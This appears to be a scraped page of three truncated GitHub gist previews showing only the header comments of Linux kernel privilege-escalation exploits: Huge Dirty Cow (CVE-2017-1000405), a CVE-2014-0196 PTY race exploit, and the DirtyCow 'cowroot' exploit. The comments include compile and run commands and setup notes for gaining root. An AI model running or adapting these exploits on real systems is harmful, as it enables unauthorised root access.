This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
// EDB Note: Source ~ https://medium.com/bindecy/huge-dirty-cow-cve-2017-1000405-110eca132de0 | |
// EDB Note: Source ~ https://github.com/bindecy/HugeDirtyCowPOC | |
// Author Note: Before running, make sure to set transparent huge pages to "always": | |
// `echo always | sudo tee /sys/kernel/mm/transparent_hugepage/enabled` | |
// | |
// | |
// The Huge Dirty Cow POC. This program overwrites the system's huge zero page. | |
// Compile with "gcc -pthread main.c" | |
// |
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
/* | |
* CVE-2014-0196: Linux kernel <= v3.15-rc4: raw mode PTY local echo race | |
* condition | |
* | |
* Slightly-less-than-POC privilege escalation exploit | |
* For kernels >= v3.14-rc1 | |
* | |
* Matthew Daley <[email protected]> | |
* | |
* Usage: |
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
/* | |
* | |
* EDB-Note: After getting a shell, doing "echo 0 > /proc/sys/vm/dirty_writeback_centisecs" may make the system more stable. | |
* | |
* (un)comment correct payload first (x86 or x64)! | |
* | |
* $ gcc cowroot.c -o cowroot -pthread | |
* $ ./cowroot | |
* DirtyCow root privilege escalation | |
* Backing up /usr/bin/passwd.. to /tmp/bak |